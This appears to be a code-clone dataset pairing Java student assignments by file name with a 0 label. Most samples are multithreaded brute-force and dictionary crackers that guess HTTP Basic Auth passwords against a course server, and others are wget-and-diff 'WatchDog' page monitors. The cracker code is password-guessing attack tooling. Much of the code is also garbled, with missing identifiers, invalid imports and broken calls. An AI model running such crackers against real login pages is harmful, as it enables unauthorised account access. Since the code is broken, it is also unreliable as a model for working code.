#"+String.valueOf(threadID)+": "); this.ID = threadID; this.startidx = startidx; this.endidx = endidx; setDaemon(true); } public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException { int i ; String msg; URL tryURL = new URL(THEURL); connections[connID]=(HttpURLConnection) tryURL.openConnection(); connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass)); i = connections[connID].getResponseCode(); msg = connections[connID].getResponseMessage(); connections[connID].disconnect(); if (i==HttpURLConnection.HTTP_OK) { System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+")."); setSuccess(this.ID,thePass); return (true); } else { System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+")."); return (false); } } public void rest(int msec) { try { sleep(msec); } catch (InterruptedException e) {} } public String constructPassword( int idx) { int i = idxLimit.length-2; boolean processed = false; String result = ""; while (i>=0) { if (idx>=idxLimit[i]) { int nchar = i + 1; idx-=idxLimit[i]; for (int j=0;j<nchar;j++) { x = (idx % NCHAR); result = charset.charAt((int) x) + result; idx /= NCHAR; } break; } i--; } return result; } public String getStartStr() { return constructPassword(this.startidx); } public String getEndStr() { return constructPassword(this.endidx); } public void run() { i = startidx; boolean keeprunning = true; while ((!isSuccess()) && (i<=endidx) && (keeprunning)) { int idx = waitUntilOK2Connect(); if (idx==-1) { break; } try { launchRequest(getName(), idx, constructPassword(i)); decreaseConn(idx); localattempt++; rest(MAXCONN); i++; } catch (InterruptedException e) { keeprunning = false; break; } catch (IOException e) { decreaseConn(idx); } } if (success==this.ID) { waitUntilAllTerminated(); } } public int getLocalAttempt() { return localattempt; } private int startidx,endidx; private int ID; private int localattempt = 0; } public void printProgramHeader(String mode,int nThread) { System.out.println(); System.out.println(" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************"); System.out.println(); System.out.println(" URL : "+THEURL); System.out.println(" Crack Mode : "+mode); System.out.println(" Characters : "+charset); System.out.println(" . Char : "+MINCHAR); System.out.println(" . Char : "+MAXCHAR); System.out.println(" # of Thread : "+nThread); System.out.println(" Connections : "+MAXCONN); System.out.println(" All Combi. : "+ALLCOMBI); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); } public void startNaiveCracking() { MAXTHREAD = 1; MAXCONN = 1; startDistCracking(); } public void startDistCracking() { int startidx,endidx; int thcount; if (isenhanced) { printProgramHeader("ENHANCED BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD); } else { printProgramHeader("NAIVE BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD); } i = System.currentTimeMillis(); idxstart = idxLimit[MINCHAR-1]; if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); } mult = (ALLCOMBI - idxstart) / MAXTHREAD; for (thcount=0;thcount<MAXTHREAD-1;thcount++) { startidx = thcount*mult + idxstart; endidx = (thcount+1)*mult-1 + idxstart; threads[thcount] = new ThCrack(thcount, startidx, endidx); System.out.println(threads[thcount].getName()+" try crack from '"+threads[thcount].getStartStr()+"' '"+threads[thcount].getEndStr()+"'"); } startidx = (MAXTHREAD-1)*mult + idxstart; endidx = ALLCOMBI-1; threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx); System.out.println(threads[MAXTHREAD-1].getName()+" try crack from '"+threads[MAXTHREAD-1].getStartStr()+"' '"+threads[MAXTHREAD-1].getEndStr()+"'"); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); for (int i=0;i<MAXTHREAD;i++) threads[i].print(); } public BruteForce() { if (isenhanced) { startDistCracking(); } else { startNaiveCracking(); } reportTimer = new java.util.Timer(); MyTT tt = new MyTT(); reportTimer.schedule(tt,1000,1000); while ((success==-1) && (attempt<ALLCOMBI)) { try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { } } if (success==-1) { end = System.currentTimeMillis(); } getAccumulatedLocalAttempt(); double ovAps = tt.getOverallAttemptPerSec(); DecimalFormat fmt = new DecimalFormat(); fmt.applyPattern("0.00"); reportTimer.cancel(); try { Thread.sleep(1000); } catch (InterruptedException e) { } synchronized (this) { if (success>=0) { System.out.println(); System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************"); System.out.println(); System.out.println(" The password is : "+passw); System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations"); System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%"); System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec"); System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds"); System.out.println(" Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds"); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); } else { System.out.println(); System.out.println(" ********************* [ UNABLE CRACK THE URL !!! ] *********************"); System.out.println(); System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations"); System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%"); System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec"); System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds"); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); } } } public static void printSyntax() { System.out.println(); System.out.println("Syntax : BruteForce [mode] [URL] [charset] [] [] [username]"); System.out.println(); System.out.println(" mode : (opt) 0 - NAIVE Brute force mode"); System.out.println(" (trying from the first the last combinations)"); System.out.println(" 1 - ENHANCED Brute force mode"); System.out.println(" (dividing cracking jobs multiple threads) (default)"); System.out.println(" URL : (opt) the URL crack "); System.out.println(" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)"); System.out.println(" charset : (optional) the character set used crack."); System.out.println(" - (default)"); System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"); System.out.println(" -alphanum "); System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"); System.out.println(" -alphalow "); System.out.println(" abcdefghijklmnopqrstuvwxyz"); System.out.println(" -alphaup "); System.out.println(" ABCDEFGHIJKLMNOPQRSTUVWXYZ"); System.out.println(" -number "); System.out.println(" 1234567890"); System.out.println(" [custom] e.g. aAbB123"); System.out.println(" , : (optional) range of characters applied in the cracking"); System.out.println(" where 1 <= <= 10 (default = 1)"); System.out.println(" <= <= 10 (default = 3)"); System.out.println(" username : (optional) the username that is used crack"); System.out.println(); System.out.println(" NOTE: The optional parameters 'charset','','', and 'username'"); System.out.println(" have specified altogether none at all."); System.out.println(" For example, if [charset] is specified, then [], [], and"); System.out.println(" [username] have specified as well. If none of them specified,"); System.out.println(" default values used."); System.out.println(); System.out.println(" Example of invocation :"); System.out.println(" java BruteForce "); System.out.println(" java BruteForce 0"); System.out.println(" java BruteForce 1 http://localhost/tryme.php"); System.out.println(" java BruteForce 0 http://localhost/tryme.php - 1 3 "); System.out.println(" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 "); System.out.println(); System.out.println(); } public static void countIdxLimit() { idxLimit = new int[MAXCHAR+1]; NCHAR = charset.length(); ALLCOMBI = 0; for (int i=0;i<=MAXCHAR;i++) { if (i==0) { idxLimit[i] = 0; } else { idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i); } } ALLCOMBI = idxLimit[idxLimit.length-1]; } public static void paramCheck(String[] args) { int argc = args.length; try { switch (Integer.valueOf(args[0]).intValue()) { case 0: { isenhanced = false; } break; case 1: { isenhanced = true; } break; default: System.out.println("Syntax error : invalid mode '"+args[0]+"'"); printSyntax(); System.exit(1); } } catch (NumberFormatException e) { System.out.println("Syntax error : invalid number '"+args[0]+"'"); printSyntax(); System.exit(1); } if (argc>1) { try { URL u = new URL(args[1]); try { HttpURLConnection conn = (HttpURLConnection) u.openConnection(); switch (conn.getResponseCode()) { case HttpURLConnection.HTTP_ACCEPTED: case HttpURLConnection.HTTP_OK: case HttpURLConnection.HTTP_NOT_AUTHORITATIVE: case HttpURLConnection.HTTP_FORBIDDEN: case HttpURLConnection.HTTP_UNAUTHORIZED: break; default: System.out.println("Unable open connection the URL '"+args[1]+"'"); System.exit(1); } } catch (IOException e) { System.out.println(e); System.exit(1); } THEURL = args[1]; } catch (MalformedURLException e) { System.out.println("Invalid URL '"+args[1]+"'"); printSyntax(); System.exit(1); } } if (argc==6) { try { MINCHAR = Integer.valueOf(args[3]).intValue(); } catch (NumberFormatException e) { System.out.println("Invalid range number value '"+args[3]+"'"); printSyntax(); System.exit(1); } try { MAXCHAR = Integer.valueOf(args[4]).intValue(); } catch (NumberFormatException e) { System.out.println("Invalid range number value '"+args[4]+"'"); printSyntax(); System.exit(1); } if ((MINCHAR<1) || (MINCHAR>10)) { System.out.println("Invalid range number value '"+args[3]+"' (must between 0 and 10)"); printSyntax(); System.exit(1); } else if (MINCHAR>MAXCHAR) { System.out.println("Invalid range number value '"+args[3]+"' (must lower than the value)"); printSyntax(); System.exit(1); } if (MAXCHAR>10) { System.out.println("Invalid range number value '"+args[4]+"' (must between value and 10)"); printSyntax(); System.exit(1); } if (args[2].toLowerCase().equals("-")) { charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; } else if (args[2].toLowerCase().equals("-alphanum")) { charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; } else if (args[2].toLowerCase().equals("-alphalow")) { charset = "abcdefghijklmnopqrstuvwxyz"; } else if (args[2].toLowerCase().equals("-alphaup")) { charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; } else if (args[2].toLowerCase().equals("-number")) { charset = "1234567890"; } else { charset = args[2]; } USERNAME = args[5]; } else if ((argc>2) && (argc<6)) { System.out.println("Please specify the [charset], [], [], and [username] altogether none at all"); printSyntax(); System.exit(1); } else if ((argc>2) && (argc>6)) { System.out.println("The number of parameters expected is not more than 6. "); System.out.println(" have specified more than 6 parameters."); printSyntax(); System.exit(1); } } public static void main (String[] args) { charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; MINCHAR = 1; MAXCHAR = 3; if (args.length==0) { args = new String[6]; args[0] = String.valueOf(1); args[1] = THEURL; args[2] = "-"; args[3] = String.valueOf(MINCHAR); args[4] = String.valueOf(MAXCHAR); args[5] = USERNAME; } paramCheck(args); countIdxLimit(); Application = new BruteForce(); } public static BruteForce Application; public static String THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; public static boolean isenhanced; public static String passw = ""; public static final int REPORT_INTERVAL = 10; public static int MAXTHREAD = 50; public static int MAXCONN = 50; public static int curconn = 0; public static int success = -1; public static String USERNAME = ""; public static int MINCHAR; public static int MAXCHAR; public static int ALLCOMBI; public static int start ,end; public static java.util.Timer reportTimer; public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; public static boolean connused[] = new boolean[MAXCONN]; public ThCrack[] threads = new ThCrack[MAXTHREAD]; public static int attempt = 0; public static int idxLimit; public static String charset; public static int NCHAR; }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
201.java
182.java
0
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
024.java
182.java
0
import java.util.*; import java.net.*; import java.io.*; import javax.swing.*; public class PasswordCombination { private int pwdCounter = 0; private int startTime; private String str1,str2,str3; private String url = "http://sec-crack.cs.rmit.edu./SEC/2/"; private String loginPwd; private String[] password; private HoldSharedData data; private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M', 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m', 'n','o','p','q','r','s','t','u','v','w','x','y','z'}; public PasswordCombination() { System.out.println("Programmed by for INTE1070 Assignment 2"); String input = JOptionPane.showInputDialog( "Enter number of threads" ); if( input == null ) System.exit(0); int numOfConnections = Integer.parseInt( input ); startTime = System.currentTimeMillis(); int pwdCounter = 52*52*52 + 52*52 + 52; password = new String[pwdCounter]; doPwdCombination(); System.out.println("Total Number of Passwords Generated: " + pwdCounter); createConnectionThread( numOfConnections ); } private void doPwdCombination() { for( int i = 0; i < 52; i ++ ) { str1 = "" + chars[i]; password[pwdCounter++] = "" + chars[i]; System.err.print( str1 + " | " ); for( int j = 0; j < 52; j ++ ) { str2 = str1 + chars[j]; password[pwdCounter++] = str1 + chars[j]; for( int k = 0; k < 52; k ++ ) { str3 = str2 + chars[k]; password[pwdCounter++] = str2 + chars[k]; } } } System.err.println( "\n" ); } private void loadPasswords( ) { FileReader fRead; BufferedReader buf; String line = null; String fileName = "words"; try { fRead = new FileReader( fileName ); buf = new BufferedReader(fRead); while((line = buf.readLine( )) != null) { password[pwdCounter++] = line; } } catch(FileNotFoundException e) { System.err.println("File not found: " + fileName); } catch(IOException ioe) { System.err.println("IO Error " + ioe); } } private void createConnectionThread( int input ) { data = new HoldSharedData( startTime, password, pwdCounter ); int numOfThreads = input; int batch = pwdCounter/numOfThreads + 1; numOfThreads = pwdCounter/batch + 1; System.out.println("Number of Connection Threads Used:" + numOfThreads); ConnectionThread[] connThread = new ConnectionThread[numOfThreads]; for( int index = 0; index < numOfThreads; index ++ ) { connThread[index] = new ConnectionThread( url, index, batch, data ); connThread[index].conn(); } } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
226.java
182.java
0
import java.io.*; import java.net.*; import javax.swing.Timer; import java.awt.event.*; import javax.swing.JOptionPane; public class WatchDog { private static Process pro = null; private static Runtime run = Runtime.getRuntime(); public static void main(String[] args) { String cmd = null; try { cmd = new String("wget -O original.txt http://www.cs.rmit.edu./students/"); pro = run.exec(cmd); System.out.println(cmd); } catch (IOException e) { } class Watch implements ActionListener { BufferedReader in = null; String str = null; Socket socket; public void actionPerformed (ActionEvent event) { try { System.out.println("in Watch!"); String cmd = new String(); int ERROR = 1; cmd = new String("wget -O new.txt http://www.cs.rmit.edu./students/"); System.out.println(cmd); cmd = new String("diff original.txt new.txt"); pro = run.exec(cmd); System.out.println(cmd); in = new BufferedReader(new InputStreamReader(pro.getInputStream())); if (((str=in.readLine())!=null)&&(!str.endsWith("d0"))) { System.out.println(str); try { socket = new Socket("yallara.cs.rmit.edu.",25); PrintWriter output = new PrintWriter(socket.getOutputStream(),true); String linetobesent = null; BufferedReader getin = null; try { FileReader = new FileReader("template.txt"); getin = new BufferedReader(); while (!(linetobesent=getin.readLine()).equals("")) { System.out.println(linetobesent); output.println(linetobesent); } output.println("Orignail Line .s C New Line .s " + str); while ((linetobesent=in.readLine())!=null) { output.println(linetobesent); System.out.println(linetobesent); } while ((linetobesent=getin.readLine())!=null) { output.println(linetobesent); System.out.println(linetobesent); } cmd = new String("cp new.txt original.txt"); System.out.println(cmd); pro = run.exec(cmd); } catch (IOException ex) { System.out.println(ex); } catch (Exception ex) { System.out.println(ex); System.exit(ERROR); } finally { try { if (getin!= null) getin.read(); } catch (IOException e) {} } } catch (UnknownHostException e) { System.out.println(e); System.exit(ERROR); } catch (IOException e) { System.out.println(e); System.exit(ERROR); } } else System.out.println("string is empty"); } catch (IOException exc) { } } } Watch listener = new Watch(); Timer t = new Timer(null,listener); t.close(); JOptionPane.showMessageDialog(null,"Exit WatchDog program?"); System.exit(0); } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
085.java
182.java
0
import java.Thread; import java.io.*; import java.net.*; public class Dictionary extends Thread { final static int SUCCESS=1, FAILED=0, UNKNOWN=-1; private static String host, path, user; private Socket target; private InputStream input; private OutputStream output; private byte[] data; private int threads, threadno, response; public static boolean solved = false; Dictionary parent; static LineNumberReader lnr; public Dictionary(String host, String path, String user, int threads, int threadno, Dictionary parent, LineNumberReader lnr) { super(); this.parent = parent; this.host = host; this.path = path; this.user = user; this.threads = threads; this.threadno = threadno; } public void run() { response = FAILED; int x = 0; String word = ""; starttime = System.currentTimeMillis(); try { boolean passwordOkay; while(word != null && !parent.solved) { passwordOkay = false; while(!passwordOkay || word == null) { word = lnr.readLine(); passwordOkay = true; if(word.length() != 3) passwordOkay = false; } response = tryLogin(word); x++; if(response == SUCCESS) { System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ word); parent.solved = true; } if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ word +")"); } } catch(Exception e) { System.err.println("Error while from dictionary: " + e.getClass().getName() + ": " + e.getMessage()); } if(response == SUCCESS) { System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec."); System.out.println("Thread . " + threadno + " was the one!"); } } public static void main (String[] args) { Dictionary parent; try { lnr = new LineNumberReader(new FileReader("/usr/share/lib/dict/words")); } catch(Exception e) { System.err.println("Error while loading dictionary: " + e.getClass().getName() + ": " + e.getMessage()); } Dictionary[] attackslaves = new Dictionary[10]; if(args.length == 3) { host = args[0]; path = args[1]; user = args[2]; } else { System.out.println("Usage: Dictionary <host> <path> <user>"); System.out.println(" arguments specified, using standard values."); host = "sec-crack.cs.rmit.edu."; path = "/SEC/2/index.php"; user = ""; } System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user); System.out.println("Using " + attackslaves.length + " happy threads..."); parent = new Dictionary(host, path, user, 0, 0, null, lnr); for(int i=0; i<attackslaves.length; i++) { attackslaves[i] = new Dictionary(host, path, user, attackslaves.length, i, parent, lnr); } for(int i=0; i<attackslaves.length; i++) { attackslaves[i].print(); } } private int tryLogin(String password) { int success = UNKNOWN; try { data = new byte[12]; target = new Socket(host, 80); input = target.getInputStream(); output = target.getOutputStream(); String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes()); output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes()); output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes()); input.print(data); if(new String(data).endsWith("401")) success=0; if(new String(data).endsWith("200")) success=1; } catch(Exception e) { System.out.println(e.getClass().getName() + ": " + e.getMessage()); } return success; } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
215.java
182.java
0
import java.Runtime; import java.io.*; public class differenceFile { StringWriter sw =null; PrintWriter pw = null; public differenceFile() { sw = new StringWriter(); pw = new PrintWriter(); } public String compareFile() { try { Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt"); InputStream write = sw.getInputStream(); BufferedReader bf = new BufferedReader (new InputStreamReader(write)); String line; while((line = bf.readLine())!=null) pw.println(line); if((sw.toString().trim()).equals("")) { System.out.println(" difference"); return null; } System.out.println(sw.toString().trim()); }catch(Exception e){} return sw.toString().trim(); } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { 